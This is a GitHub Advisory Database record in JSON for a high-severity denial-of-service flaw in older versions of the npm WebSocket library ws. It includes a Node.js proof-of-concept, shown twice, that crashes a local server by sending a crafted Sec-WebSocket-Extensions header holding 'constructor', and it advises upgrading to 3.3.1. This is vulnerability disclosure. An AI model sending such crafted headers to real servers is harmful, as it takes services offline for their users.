{"id":"GHSA-5v72-xg48-5rpm","aliases":["GHSA-5v72-xg48-5rpm"],"related":[],"kind":"vulnerability","state":"published","title":"Denial of Service in ws","summary":"Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require('ws');\nconst net = require('net');\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n  const payload = 'constructor';  // or ',;constructor'\n\n  const request = [\n    'GET / HTTP/1.1',\n    'Connection: Upgrade',\n    'Sec-WebSocket-Key: test',\n    'Sec-WebSocket-Version: 8',\n    `Sec-WebSocket-Extensions: ${payload}`,\n    'Upgrade: websocket',\n    '\\r\\n'\n  ].join('\\r\\n');\n\n  const socket = net.connect(3000, function () {\n    socket.resume();\n    socket.write(request);\n  });\n});\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.","summaryFormat":"markdown","summarySource":"ghsa","descriptions":[{"lang":"en","text":"Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require('ws');\nconst net = require('net');\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n  const payload = 'constructor';  // or ',;constructor'\n\n  const request = [\n    'GET / HTTP/1.1',\n    'Connection: Upgrade',\n    'Sec-WebSocket-Key: test',\n    'Sec-WebSocket-Version: 8',\n    `Sec-WebSocket-Extensions: ${payload}`,\n    'Upgrade: websocket',\n    '\\r\\n'\n  ].join('\\r\\n');\n\n  const socket = net.connect(3000, function () {\n    socket.resume();\n    socket.write(request);\n  });\n});\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.","format":"markdown","source":"ghsa"}],"published":"2019-06-04T19:37:52.000Z","modified":"2026-07-17T18:45:52.881Z","severity":{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-400"],"affected":[{"ranges":[{"type":"semver","introduced":"0.6.0","status":"affected","fixed":"1.1.5"}],"ecosystem":"npm","package":"ws","purl":"pkg:npm/ws","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"2.0.0","status":"affected","fixed":"3.3.1"}],"ecosystem":"npm","package":"ws","purl":"pkg:npm/ws","source":"ghsa"}],"references":[{"url":"https://github.com/websockets/ws/commit/a810bfa44f08c84ff3f43cc71327e9bb5fb273ef","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/websockets/ws/commit/f8fdcd40ac8be7318a6ee41f5ceb7e77c995b407","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/websockets/ws","tags":["package"],"sources":["ghsa"]},{"url":"https://snyk.io/vuln/npm:ws:20171108","tags":["web"],"sources":["ghsa"]}],"credits":[],"sources":[{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-5v72-xg48-5rpm","url":"https://github.com/advisories/GHSA-5v72-xg48-5rpm","licence":"CC-BY-4.0","modified":"2026-07-17T18:45:52.881Z"}],"updatedAt":"2026-11-25T22:56:44.240Z"}